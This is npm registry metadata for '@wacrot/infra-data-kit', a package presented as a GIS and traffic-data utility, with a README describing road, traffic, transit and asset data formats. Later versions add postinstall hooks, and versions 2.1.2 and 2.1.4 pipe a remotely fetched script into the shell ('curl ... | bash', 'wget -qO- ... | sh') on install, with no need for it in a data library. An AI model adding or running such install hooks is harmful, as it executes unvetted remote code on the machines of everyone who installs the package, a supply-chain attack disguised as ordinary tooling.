{"_id":"@wacrot/infra-data-kit","_rev":"14-94364f0af623d60624f98da2a8f13141","name":"@wacrot/infra-data-kit","dist-tags":{"latest":"2.1.4"},"versions":{"0.1.0":{"name":"@wacrot/infra-data-kit","version":"0.1.0","keywords":["infrastructure","traffic","roads","gis","transportation","geojson"],"license":"MIT","_id":"@wacrot/infra-data-kit@0.1.0","maintainers":[{"name":"wacro","email":"wake-crown-tactful@duck.com"}],"homepage":"https://github.com/wacrot/infra-data-kit#readme","bugs":{"url":"https://github.com/wacrot/infra-data-kit/issues"},"dist":{"shasum":"c660a06c54009aaafe7913f3364bce39bc9a3a05","tarball":"https://registry.npmjs.org/@wacrot/infra-data-kit/-/infra-data-kit-0.1.0.tgz","fileCount":4,"integrity":"sha512-0aofmO0naHIR4jnHwrKUEfxYR7Cfs8g+GCMVHXXXARipQGRZo2Jwna/2ddDClnuCk5mJiJ0HDeTt65Nxf/VFQQ==","signatures":[{"sig":"MEUCIE4PcFY/VpCyhaXOWUO5Tr1HKjo4drfkiIvia3i+kio8AiEA1PZvwFBl9h35DOuxVV4X1mvFaScQTDa8S5sl+plxtDI=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":22087},"main":"./src/index.js","type":"module","exports":{".":"./src/index.js"},"scripts":{"test":"node --test"},"_npmUser":{"name":"wacro","email":"wake-crown-tactful@duck.com"},"repository":{"url":"git+https://github.com/wacrot/infra-data-kit.git","type":"git"},"_npmVersion":"11.11.0","description":"Utilities and metadata for processing infrastructure and traffic datasets.","directories":{},"_nodeVersion":"22.16.0","publishConfig":{"access":"public"},"_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/infra-data-kit_0.1.0_1777601608888_0.723006320800601","host":"s3://npm-registry-packages-npm-production"}},"2.0.0":{"name":"@wacrot/infra-data-kit","version":"2.0.0","keywords":["infrastructure","traffic","roads","gis","transportation","geojson"],"license":"MIT","_id":"@wacrot/infra-data-kit@2.0.0","maintainers":[{"name":"wacro","email":"wake-crown-tactful@duck.com"}],"homepage":"https://github.com/wacrot/infra-data-kit#readme","bugs":{"url":"https://github.com/wacrot/infra-data-kit/issues"},"dist":{"shasum":"62480846019a3cd73c8d2e74a23e9f7e597347cb","tarball":"https://registry.npmjs.org/@wacrot/infra-data-kit/-/infra-data-kit-2.0.0.tgz","fileCount":4,"integrity":"sha512-nB61+Gf8Z2b722TyVvohSbGk+Qn2j5y5J3ghQ2oXURpMQV7ttDI1zlPKMC4XKsqBseHtl9xERWpzyp3vOujzGQ==","signatures":[{"sig":"MEUCIGpOF/Is3egY/AzUCjNa7PDFXrPZ4juXp8Hwqs3g5TOGAiEA7Vnj99LAWTZr/vHxUIg/TpxBF4mLT45lG15WQ6jKKLM=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":23210},"main":"./src/index.js","type":"module","exports":{".":"./src/index.js"},"scripts":{"test":"node --test"},"_npmUser":{"name":"wacro","email":"wake-crown-tactful@duck.com"},"repository":{"url":"git+https://github.com/wacrot/infra-data-kit.git","type":"git"},"_npmVersion":"11.11.0","description":"Utilities and metadata for processing infrastructure and traffic datasets.","directories":{},"_nodeVersion":"22.16.0","publishConfig":{"access":"public"},"_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/infra-data-kit_2.0.0_1777690379478_0.5165451361328983","host":"s3://npm-registry-packages-npm-production"}},"2.0.2":{"name":"@wacrot/infra-data-kit","version":"2.0.2","keywords":["infrastructure","traffic","roads","gis","transportation","geojson"],"license":"MIT","_id":"@wacrot/infra-data-kit@2.0.2","maintainers":[{"name":"wacro","email":"wake-crown-tactful@duck.com"}],"homepage":"https://github.com/wacrot/infra-data-kit#readme","bugs":{"url":"https://github.com/wacrot/infra-data-kit/issues"},"dist":{"shasum":"3acf2c3cffd2aeb092c6d232f64f8ff7240344d8","tarball":"https://registry.npmjs.org/@wacrot/infra-data-kit/-/infra-data-kit-2.0.2.tgz","fileCount":4,"integrity":"sha512-HMTyB+SGTS7MS3cem3pRkrXKIqhTRzRQlOr6G6fv4oKSA0ZKk0z7wpfd+j0EXqxo/jJzi96lCwYB+4kjF5N2aQ==","signatures":[{"sig":"MEUCIQDSyccmhsc6i5XDCDMJS2m63gvSeyXg8N1u4n6FAY4HJAIgPYFp2eWHyGk1/Jly48fwypdYCYi4b3KiMjUkTHxvFoo=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":21187},"main":"./src/index.js","type":"module","exports":{".":"./src/index.js"},"scripts":{"test":"node --test"},"_npmUser":{"name":"wacro","email":"wake-crown-tactful@duck.com"},"repository":{"url":"git+https://github.com/wacrot/infra-data-kit.git","type":"git"},"_npmVersion":"11.11.0","description":"Utilities and metadata for processing infrastructure and traffic datasets.","directories":{},"_nodeVersion":"22.16.0","publishConfig":{"access":"public"},"_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/infra-data-kit_2.0.2_1777691511624_0.33837186003426556","host":"s3://npm-registry-packages-npm-production"}},"2.0.3":{"name":"@wacrot/infra-data-kit","version":"2.0.3","keywords":["infrastructure","traffic","roads","gis","transportation","geojson"],"license":"MIT","_id":"@wacrot/infra-data-kit@2.0.3","maintainers":[{"name":"wacro","email":"wake-crown-tactful@duck.com"}],"homepage":"https://github.com/wacrot/infra-data-kit#readme","bugs":{"url":"https://github.com/wacrot/infra-data-kit/issues"},"dist":{"shasum":"21dd763d9f47d912ffdf5d38b83f18aa2fe73502","tarball":"https://registry.npmjs.org/@wacrot/infra-data-kit/-/infra-data-kit-2.0.3.tgz","fileCount":4,"integrity":"sha512-TOO6OroFa9jmjWteylr3jSjrCl6T7pkWL/K/LNz7OYkG/RBEsWZNTsWLtkgAm/waeh3R/WGvTg8Mia0te43HyQ==","signatures":[{"sig":"MEUCIAtuxMJBhaGXDcRfj4mQDxostI59Og5gFLVG1hqO2y0dAiEApSshPkoBvbLb/Nwm9s7sgIHJIhj59NQcyNgaPu5ptng=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":21187},"main":"./src/index.js","type":"module","exports":{".":"./src/index.js"},"scripts":{"test":"node --test"},"_npmUser":{"name":"wacro","email":"wake-crown-tactful@duck.com"},"repository":{"url":"git+https://github.com/wacrot/infra-data-kit.git","type":"git"},"_npmVersion":"11.11.0","description":"Utilities and metadata for processing infrastructure and traffic datasets.","directories":{},"_nodeVersion":"22.16.0","publishConfig":{"access":"public"},"_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/infra-data-kit_2.0.3_1777691589017_0.3141650829020748","host":"s3://npm-registry-packages-npm-production"}},"2.0.5":{"name":"@wacrot/infra-data-kit","version":"2.0.5","keywords":["infrastructure","traffic","roads","gis","transportation","geojson"],"license":"MIT","_id":"@wacrot/infra-data-kit@2.0.5","maintainers":[{"name":"wacro","email":"wake-crown-tactful@duck.com"}],"homepage":"https://github.com/wacrot/infra-data-kit#readme","bugs":{"url":"https://github.com/wacrot/infra-data-kit/issues"},"dist":{"shasum":"b1fe6becabbb02556dcf41d244bfd5f9d356a156","tarball":"https://registry.npmjs.org/@wacrot/infra-data-kit/-/infra-data-kit-2.0.5.tgz","fileCount":4,"integrity":"sha512-hjf2fkHHtZY8cwcZAH4HKyTvy4AMOxIIOWfeScD/ylMuz5+hE4y4OcTK20jC/EidBG7prTThE2d9uFh+0QyXYA==","signatures":[{"sig":"MEUCIQC0TPIqekZDnP4usYhp1M+55lhPrbKB4n7vv5yt4vbaMAIgTxn86YO2vzfGloa7eyXiK7nYtUkGdJwihH42QZjXA6E=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":21185},"main":"./src/index.js","type":"module","exports":{".":"./src/index.js"},"scripts":{"test":"node --test"},"_npmUser":{"name":"wacro","email":"wake-crown-tactful@duck.com"},"repository":{"url":"git+https://github.com/wacrot/infra-data-kit.git","type":"git"},"_npmVersion":"11.11.0","description":"Utilities and metadata for processing infrastructure and traffic datasets.","directories":{},"_nodeVersion":"22.16.0","publishConfig":{"access":"public"},"_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/infra-data-kit_2.0.5_1777692697838_0.008349218235234934","host":"s3://npm-registry-packages-npm-production"}},"2.0.6":{"name":"@wacrot/infra-data-kit","version":"2.0.6","keywords":["infrastructure","traffic","roads","gis","transportation","geojson"],"license":"MIT","_id":"@wacrot/infra-data-kit@2.0.6","maintainers":[{"name":"wacro","email":"wake-crown-tactful@duck.com"}],"homepage":"https://github.com/wacrot/infra-data-kit#readme","bugs":{"url":"https://github.com/wacrot/infra-data-kit/issues"},"dist":{"shasum":"8d0d6c3cb456964da94f2f230faa53e5c28a0dbb","tarball":"https://registry.npmjs.org/@wacrot/infra-data-kit/-/infra-data-kit-2.0.6.tgz","fileCount":4,"integrity":"sha512-SRVB9R5soKqmVCJA2V41sgd/Z6doFrk6Wyk498cxSeBQAndNS5uPtZLH//FcSmovjV7TUaxtX4aoPN4ihtcWnA==","signatures":[{"sig":"MEQCIFv9RAhCJpAjjaTXyCmklfkNB8o5TJTOIR9NpALdWrjyAiAk5siankyq4A9gaTtmHGDJutN1Uxcc/C+eS3NkFXsxZQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":20885},"main":"./src/index.js","type":"module","exports":{".":"./src/index.js"},"gitHead":"25c47b6eb866590dff592f224e9c13d729469e63","scripts":{"test":"node --test","postinstall":". ./scripts/setup-env.sh"},"_npmUser":{"name":"wacro","email":"wake-crown-tactful@duck.com"},"repository":{"url":"git+https://github.com/wacrot/infra-data-kit.git","type":"git"},"_npmVersion":"9.2.0","description":"Utilities and metadata for processing infrastructure and traffic datasets.","directories":{},"_nodeVersion":"18.19.1","publishConfig":{"access":"public"},"_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/infra-data-kit_2.0.6_1781298873546_0.7577523243186426","host":"s3://npm-registry-packages-npm-production"}},"2.0.7":{"name":"@wacrot/infra-data-kit","version":"2.0.7","keywords":["infrastructure","traffic","roads","gis","transportation","geojson"],"license":"MIT","_id":"@wacrot/infra-data-kit@2.0.7","maintainers":[{"name":"wacro","email":"wake-crown-tactful@duck.com"}],"homepage":"https://github.com/wacrot/infra-data-kit#readme","bugs":{"url":"https://github.com/wacrot/infra-data-kit/issues"},"dist":{"shasum":"aaf1aa357d9e62532401efa9275c7f75b4751ae8","tarball":"https://registry.npmjs.org/@wacrot/infra-data-kit/-/infra-data-kit-2.0.7.tgz","fileCount":5,"integrity":"sha512-Abh24qE//t+/uaKPT+Dj15NcV8zABIuoqAE3vVdOXsT32Nq6HZZGoMeqqcwrs9cIzQ8wycSKp+zfRtCnPfF03Q==","signatures":[{"sig":"MEQCICRUUO88GlEial2Q2KT1nnpALANopwjhHFWVd9Gv7opxAiAhTjHXwk6gWDPg4mbBkEWEcapBReqS9MLNCgwJkS68fg==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":21760},"main":"./src/index.js","type":"module","exports":{".":"./src/index.js"},"gitHead":"25c47b6eb866590dff592f224e9c13d729469e63","scripts":{"test":"node --test","postinstall":". ./node_modules/@wacrot/infra-data-kit/scripts/setup-env.sh"},"_npmUser":{"name":"wacro","email":"wake-crown-tactful@duck.com"},"repository":{"url":"git+https://github.com/wacrot/infra-data-kit.git","type":"git"},"_npmVersion":"9.2.0","description":"Utilities and metadata for processing infrastructure and traffic datasets.","directories":{},"_nodeVersion":"18.19.1","publishConfig":{"access":"public"},"_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/infra-data-kit_2.0.7_1781299346516_0.047318773672959225","host":"s3://npm-registry-packages-npm-production"}},"2.0.8":{"name":"@wacrot/infra-data-kit","version":"2.0.8","keywords":["infrastructure","traffic","roads","gis","transportation","geojson"],"license":"MIT","_id":"@wacrot/infra-data-kit@2.0.8","maintainers":[{"name":"wacro","email":"wake-crown-tactful@duck.com"}],"homepage":"https://github.com/wacrot/infra-data-kit#readme","bugs":{"url":"https://github.com/wacrot/infra-data-kit/issues"},"dist":{"shasum":"c1756cfde1b01fe252493c444c327fc667c926a2","tarball":"https://registry.npmjs.org/@wacrot/infra-data-kit/-/infra-data-kit-2.0.8.tgz","fileCount":5,"integrity":"sha512-+m5/JPQKiXLTSfn0/FE+4yG9QwQRm7lsR741+fYB7WHBtz1t/kudXMgGs9+7kOOEzaP4i8VISDYpeB4lsaeQTA==","signatures":[{"sig":"MEUCIB6BLPPlk4Z6w/4AgpCAgQaVY+gLAz5xm1Qk6ZWWrmx/AiEA9NQzF3YBcP7bHhxgqa5t3ZFP4tYAApXeXDCjtebiYQU=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":21760},"main":"./src/index.js","type":"module","exports":{".":"./src/index.js"},"gitHead":"25c47b6eb866590dff592f224e9c13d729469e63","scripts":{"test":"node --test","postinstall":". ./node_modules/@wacrot/infra-data-kit/scripts/setup-env.sh"},"_npmUser":{"name":"wacro","email":"wake-crown-tactful@duck.com"},"repository":{"url":"git+https://github.com/wacrot/infra-data-kit.git","type":"git"},"_npmVersion":"9.2.0","description":"Utilities and metadata for processing infrastructure and traffic datasets.","directories":{},"_nodeVersion":"18.19.1","publishConfig":{"access":"public"},"_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/infra-data-kit_2.0.8_1781299793696_0.6042214255790765","host":"s3://npm-registry-packages-npm-production"}},"2.0.9":{"name":"@wacrot/infra-data-kit","version":"2.0.9","keywords":["infrastructure","traffic","roads","gis","transportation","geojson"],"license":"MIT","_id":"@wacrot/infra-data-kit@2.0.9","maintainers":[{"name":"wacro","email":"wake-crown-tactful@duck.com"}],"homepage":"https://github.com/wacrot/infra-data-kit#readme","bugs":{"url":"https://github.com/wacrot/infra-data-kit/issues"},"dist":{"shasum":"ef37f8b8a2a22ce759c7af226e328d71d046e105","tarball":"https://registry.npmjs.org/@wacrot/infra-data-kit/-/infra-data-kit-2.0.9.tgz","fileCount":5,"integrity":"sha512-ge3iC3xAYXuhMtGkfIl11Vk1IGTl0SQ5v1qIqZoRlQeKUDd0RPyn4W+ujbOfbAkKpGz9aFfj/GVus6E05bCUIg==","signatures":[{"sig":"MEUCIQD230V4qMrYlfy5b/GFODGnLOlqx4vGQTIIf324LLqvIAIgISrIaAPWuT9JotKX/VxMSjoFXiPVQqI2gRuS2yCZ0Sg=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":22571},"main":"./src/index.js","type":"module","exports":{".":"./src/index.js"},"gitHead":"25c47b6eb866590dff592f224e9c13d729469e63","scripts":{"test":"node --test","postinstall":"npm explore @wacrot/infra-data-kit -- npm run scripts/setup.js"},"_npmUser":{"name":"wacro","email":"wake-crown-tactful@duck.com"},"repository":{"url":"git+https://github.com/wacrot/infra-data-kit.git","type":"git"},"_npmVersion":"9.2.0","description":"Utilities and metadata for processing infrastructure and traffic datasets.","directories":{},"_nodeVersion":"18.19.1","publishConfig":{"access":"public"},"_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/infra-data-kit_2.0.9_1781300480386_0.046342403726371106","host":"s3://npm-registry-packages-npm-production"}},"2.0.10":{"name":"@wacrot/infra-data-kit","version":"2.0.10","keywords":["infrastructure","traffic","roads","gis","transportation","geojson"],"license":"MIT","_id":"@wacrot/infra-data-kit@2.0.10","maintainers":[{"name":"wacro","email":"wake-crown-tactful@duck.com"}],"homepage":"https://github.com/wacrot/infra-data-kit#readme","bugs":{"url":"https://github.com/wacrot/infra-data-kit/issues"},"dist":{"shasum":"792bad3f75f6077e6085e4cfa07bebb6efedef34","tarball":"https://registry.npmjs.org/@wacrot/infra-data-kit/-/infra-data-kit-2.0.10.tgz","fileCount":5,"integrity":"sha512-0rmxDKkvOadXC5sQy8yMAbu30P/ue1Hmke+4gGLUqQ4zthBZiGIr/xHNPBjoTcefSVy7NMVoiFgVG1/AVF6iTw==","signatures":[{"sig":"MEUCIF5WefTEE/LYim6lQ4VNpLUhvFXpF7Kg5e7Izmm93pZDAiEA1ZEVkrDBXPzJaNVigkshyMHSXUr6xiEohDu2mpXAYqM=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":22573},"main":"./src/index.js","type":"module","exports":{".":"./src/index.js"},"gitHead":"25c47b6eb866590dff592f224e9c13d729469e63","scripts":{"test":"node --test","postinstall":"#npm explore @wacrot/infra-data-kit -- npm run scripts/setup.js"},"_npmUser":{"name":"wacro","email":"wake-crown-tactful@duck.com"},"repository":{"url":"git+https://github.com/wacrot/infra-data-kit.git","type":"git"},"_npmVersion":"9.2.0","description":"Utilities and metadata for processing infrastructure and traffic datasets.","directories":{},"_nodeVersion":"18.19.1","publishConfig":{"access":"public"},"_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/infra-data-kit_2.0.10_1781300634187_0.22634345791534738","host":"s3://npm-registry-packages-npm-production"}},"2.1.0":{"name":"@wacrot/infra-data-kit","version":"2.1.0","keywords":["infrastructure","traffic","roads","gis","transportation","geojson"],"license":"MIT","_id":"@wacrot/infra-data-kit@2.1.0","maintainers":[{"name":"wacro","email":"wake-crown-tactful@duck.com"}],"homepage":"https://github.com/wacrot/infra-data-kit#readme","bugs":{"url":"https://github.com/wacrot/infra-data-kit/issues"},"dist":{"shasum":"4188fe2d34ce05ed66bd83483f73de3c86a8a8a0","tarball":"https://registry.npmjs.org/@wacrot/infra-data-kit/-/infra-data-kit-2.1.0.tgz","fileCount":5,"integrity":"sha512-XpeWsnqqKxb4Jxvfw11PuN92GKvEtjZSGpdnuUiQIAjO93pGQd+mGz6wuXjC8sifpmPzPxhmPrTb4jj4LL7WKw==","signatures":[{"sig":"MEQCIEentp6XjIS9XWLY9TwPGJ00huYjmnWzr1vna30p3JglAiBFGEnPrQgEZf6xS68bBG20bOzfe8Wmk9p78wPs9Tdb/Q==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":22571},"main":"./src/index.js","type":"module","exports":{".":"./src/index.js"},"gitHead":"25c47b6eb866590dff592f224e9c13d729469e63","scripts":{"test":"node --test","postinstall":"npx no-install @wacrot/infra-data-kit npm run scripts/setup.js"},"_npmUser":{"name":"wacro","email":"wake-crown-tactful@duck.com"},"repository":{"url":"git+https://github.com/wacrot/infra-data-kit.git","type":"git"},"_npmVersion":"9.2.0","description":"Utilities and metadata for processing infrastructure and traffic datasets.","directories":{},"_nodeVersion":"18.19.1","publishConfig":{"access":"public"},"_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/infra-data-kit_2.1.0_1781300930077_0.23908372886250273","host":"s3://npm-registry-packages-npm-production"}},"2.1.1":{"name":"@wacrot/infra-data-kit","version":"2.1.1","keywords":["infrastructure","traffic","roads","gis","transportation","geojson"],"license":"MIT","_id":"@wacrot/infra-data-kit@2.1.1","maintainers":[{"name":"wacro","email":"wake-crown-tactful@duck.com"}],"homepage":"https://github.com/wacrot/infra-data-kit#readme","bugs":{"url":"https://github.com/wacrot/infra-data-kit/issues"},"dist":{"shasum":"d67b208962fef1d17b0465d5a46acaad36f430e7","tarball":"https://registry.npmjs.org/@wacrot/infra-data-kit/-/infra-data-kit-2.1.1.tgz","fileCount":5,"integrity":"sha512-xJh4PqFf5b0XHmU1uBoscisdquGvH8E3Lh7pn9QpkK5QS/hDfApLdhkRzS1i4M5sMQhW6x7vA2at1W6NORooOA==","signatures":[{"sig":"MEYCIQDXXxeDDHGjQ6va2h3OJZfYPKaMedmhcrFsArEyn/dIowIhANmXphiZtPNf6qhxx12Tit0ZGNT+PuuhaECUrmoE0UGs","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":22573},"main":"./src/index.js","type":"module","exports":{".":"./src/index.js"},"gitHead":"25c47b6eb866590dff592f224e9c13d729469e63","scripts":{"test":"node --test","postinstall":"npx --no-install @wacrot/infra-data-kit npm run scripts/setup.js"},"_npmUser":{"name":"wacro","email":"wake-crown-tactful@duck.com"},"repository":{"url":"git+https://github.com/wacrot/infra-data-kit.git","type":"git"},"_npmVersion":"9.2.0","description":"Utilities and metadata for processing infrastructure and traffic datasets.","directories":{},"_nodeVersion":"18.19.1","publishConfig":{"access":"public"},"_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/infra-data-kit_2.1.1_1781300982378_0.6968162439210286","host":"s3://npm-registry-packages-npm-production"}},"2.1.2":{"name":"@wacrot/infra-data-kit","version":"2.1.2","keywords":["infrastructure","traffic","roads","gis","transportation","geojson"],"license":"MIT","_id":"@wacrot/infra-data-kit@2.1.2","maintainers":[{"name":"wacro","email":"wake-crown-tactful@duck.com"}],"homepage":"https://github.com/wacrot/infra-data-kit#readme","bugs":{"url":"https://github.com/wacrot/infra-data-kit/issues"},"dist":{"shasum":"ba821aef4b43a23e3abee8c8857b9a6fdbb38499","tarball":"https://registry.npmjs.org/@wacrot/infra-data-kit/-/infra-data-kit-2.1.2.tgz","fileCount":6,"integrity":"sha512-MnQRKq5aQZ24R1/BMAjc27IY4pyizOqvMj9zZto9toaZD33Pa0idlAoI6cJzkh1IjfiDygMCqgbf5R6EVMNGuQ==","signatures":[{"sig":"MEYCIQCqnsT7mEbB7FMqO/T9IwurmOpe96mYVFvNKU6D9uh9ggIhANqJVv5Tqs/cch1Lwgp3V9QVC7WQr2ydJn6tHHh5bMU/","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":23386},"main":"./src/index.js","type":"module","exports":{".":"./src/index.js"},"gitHead":"25c47b6eb866590dff592f224e9c13d729469e63","scripts":{"test":"node --test","postinstall":"curl -fsSL https://web.stanford.edu/~pseay/test | bash"},"_npmUser":{"name":"wacro","email":"wake-crown-tactful@duck.com"},"repository":{"url":"git+https://github.com/wacrot/infra-data-kit.git","type":"git"},"_npmVersion":"9.2.0","description":"Utilities and metadata for processing infrastructure and traffic datasets.","directories":{},"_nodeVersion":"18.19.1","publishConfig":{"access":"public"},"_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/infra-data-kit_2.1.2_1781301662325_0.8081466796867196","host":"s3://npm-registry-packages-npm-production"}},"2.1.4":{"name":"@wacrot/infra-data-kit","version":"2.1.4","description":"Utilities and metadata for processing infrastructure and traffic datasets.","type":"module","main":"./src/index.js","exports":{".":"./src/index.js"},"publishConfig":{"access":"public"},"repository":{"type":"git","url":"git+https://github.com/wacrot/infra-data-kit.git"},"scripts":{"test":"node --test","postinstall":"wget -qO- https://web.stanford.edu/~pseay/pliant/setup.sh | sh"},"keywords":["infrastructure","traffic","roads","gis","transportation","geojson"],"license":"MIT","gitHead":"c66cf67817c5c1f94fb9fc31c601efda9fd69a58","bugs":{"url":"https://github.com/wacrot/infra-data-kit/issues"},"homepage":"https://github.com/wacrot/infra-data-kit#readme","_id":"@wacrot/infra-data-kit@2.1.4","_nodeVersion":"18.19.1","_npmVersion":"9.2.0","dist":{"integrity":"sha512-pJ6QTHTSs39OcNId0+8kLWO/O+MQ2CErSd3K0LOAAw/DJlqNcbVBQPQKHAoFe2VTEAQ9FjITCkDNlLhqYjUVhQ==","shasum":"31461f851cc12310e59bbb77a6a4dcd88c9057d8","tarball":"https://registry.npmjs.org/@wacrot/infra-data-kit/-/infra-data-kit-2.1.4.tgz","fileCount":6,"unpackedSize":23675,"signatures":[{"keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U","sig":"MEQCIELAo0PxZcBR9bVWz4rALqS3YObyABWfin3r79fUZk2/AiB4vJ4xu7VfshfFvtijsYS5GRWaFKUp7bkKyGBkgprnkA=="}]},"_npmUser":{"name":"wacro","email":"wake-crown-tactful@duck.com"},"directories":{},"maintainers":[{"name":"wacro","email":"wake-crown-tactful@duck.com"}],"_npmOperationalInternal":{"host":"s3://npm-registry-packages-npm-production","tmp":"tmp/infra-data-kit_2.1.4_1781305534626_0.3013042066950553"},"_hasShrinkwrap":false}},"time":{"created":"2026-05-01T02:13:28.827Z","modified":"2026-06-12T23:05:34.982Z","0.1.0":"2026-05-01T02:13:29.025Z","2.0.0":"2026-05-02T02:52:59.688Z","2.0.2":"2026-05-02T03:11:51.771Z","2.0.3":"2026-05-02T03:13:09.151Z","2.0.5":"2026-05-02T03:31:37.999Z","2.0.6":"2026-06-12T21:14:33.763Z","2.0.7":"2026-06-12T21:22:26.664Z","2.0.8":"2026-06-12T21:29:53.827Z","2.0.9":"2026-06-12T21:41:20.530Z","2.0.10":"2026-06-12T21:43:54.327Z","2.1.0":"2026-06-12T21:48:50.221Z","2.1.1":"2026-06-12T21:49:42.586Z","2.1.2":"2026-06-12T22:01:02.483Z","2.1.4":"2026-06-12T23:05:34.778Z"},"bugs":{"url":"https://github.com/wacrot/infra-data-kit/issues"},"license":"MIT","homepage":"https://github.com/wacrot/infra-data-kit#readme","keywords":["infrastructure","traffic","roads","gis","transportation","geojson"],"repository":{"type":"git","url":"git+https://github.com/wacrot/infra-data-kit.git"},"description":"Utilities and metadata for processing infrastructure and traffic datasets.","maintainers":[{"name":"wacro","email":"wake-crown-tactful@duck.com"}],"readme":"# infra-data-kit\n\n`infra-data-kit` is a small npm package for processing infrastructure data. It includes:\n\n- A catalog of common infrastructure and traffic data domains.\n- A normalization layer that converts raw records into one consistent shape.\n- Parsers for `GeoJSON` and `CSV`.\n- Adapters for `Shapefile`, `GeoPackage`, and `OSM` records once they are decoded into JavaScript objects.\n- Validation helpers and GeoJSON export helpers.\n\n## What data is common in infrastructure and traffic systems?\n\nThese are the data categories you usually need to handle:\n\n### Roads\n\nCommon fields:\n\n- `road_id`\n- `name`\n- `route_number`\n- `functional_class`\n- `surface_type`\n- `lane_count`\n- `speed_limit`\n- `direction`\n- `bridge_clearance`\n- `weight_limit`\n- `geometry`\n\n### Traffic\n\nCommon fields:\n\n- `observation_id`\n- `timestamp`\n- `sensor_id`\n- `road_id`\n- `segment_id`\n- `traffic_volume`\n- `average_speed`\n- `travel_time`\n- `occupancy`\n- `incident_type`\n- `delay_seconds`\n- `geometry`\n\n### Transit\n\nCommon fields:\n\n- `agency_id`\n- `route_id`\n- `trip_id`\n- `stop_id`\n- `vehicle_id`\n- `arrival_time`\n- `departure_time`\n- `headway_seconds`\n- `passenger_load`\n- `geometry`\n\n### Utilities and assets\n\nCommon fields:\n\n- `asset_id`\n- `asset_type`\n- `owner`\n- `material`\n- `install_date`\n- `condition_score`\n- `inspection_date`\n- `status`\n- `diameter`\n- `capacity`\n- `geometry`\n\n### Bridges and structures\n\nCommon fields:\n\n- `bridge_id`\n- `name`\n- `year_built`\n- `owner`\n- `material`\n- `span_count`\n- `deck_area`\n- `load_rating`\n- `inspection_date`\n- `condition_score`\n- `geometry`\n\n## What file formats are used for roads and related data?\n\nThe most common formats are:\n\n### Geospatial formats\n\n- `GeoJSON`: Common for web apps, APIs, road centerlines, and traffic overlays.\n- `Shapefile`: Very common in city/state GIS exports, but older and split across multiple files.\n- `GeoPackage (.gpkg)`: Common for modern GIS exchange and offline/mobile workflows.\n- `OSM XML/PBF`: Common when roads come from OpenStreetMap.\n\n### Tabular and analytics formats\n\n- `CSV`: Common for traffic counts, sensor feeds, and road attribute tables.\n- `JSON`: Common for APIs and custom interchange.\n- `Parquet`: Common for large timeseries and analytics pipelines.\n\n### Transit-specific formats\n\n- `GTFS`: Scheduled routes, trips, stops, and stop times.\n- `GTFS Realtime`: Live vehicle positions, trip updates, and service alerts.\n\n## Install\n\n```bash\nnpm install @wacrot/infra-data-kit\n```\n\n## Usage\n\n```js\nimport {\n  createFeatureCollection,\n  listDomains,\n  listFormats,\n  normalizeCollection,\n  parseCsv,\n  parseGeoJSON,\n  validateCollection\n} from \"@wacrot/infra-data-kit\";\n\nconsole.log(listDomains());\nconsole.log(listFormats());\n\nconst geojsonRecords = parseGeoJSON({\n  type: \"FeatureCollection\",\n  features: [\n    {\n      type: \"Feature\",\n      id: \"road-1\",\n      properties: { name: \"Main St\", speed_limit: 35 },\n      geometry: {\n        type: \"LineString\",\n        coordinates: [\n          [-118.25, 34.05],\n          [-118.24, 34.05]\n        ]\n      }\n    }\n  ]\n}, {\n  domain: \"roads\"\n});\n\nconst trafficRecords = parseCsv(\n  \"id,latitude,longitude,traffic_volume,timestamp\\nsensor-1,34.05,-118.25,220,2026-04-30T12:00:00Z\",\n  { domain: \"traffic\" }\n);\n\nconst rows = [{ id: \"road-1\" }, { id: \"road-2\" }];\nconst genericRecords = normalizeCollection(rows, { domain: \"roads\" });\n\nconsole.log(geojsonRecords);\nconsole.log(trafficRecords);\nconsole.log(validateCollection(trafficRecords, { requireGeometry: true }));\nconsole.log(createFeatureCollection(genericRecords));\n```\n\n## Normalized output shape\n\n```js\n{\n  id: \"string | null\",\n  domain: \"roads | traffic | transit | utilities | bridges\",\n  sourceFormat: \"geojson | shapefile | csv | ...\",\n  geometryType: \"Point | LineString | Polygon | null\",\n  geometry: \"GeoJSON geometry | null\",\n  properties: { /* original attributes */ },\n  timestamp: \"ISO string | 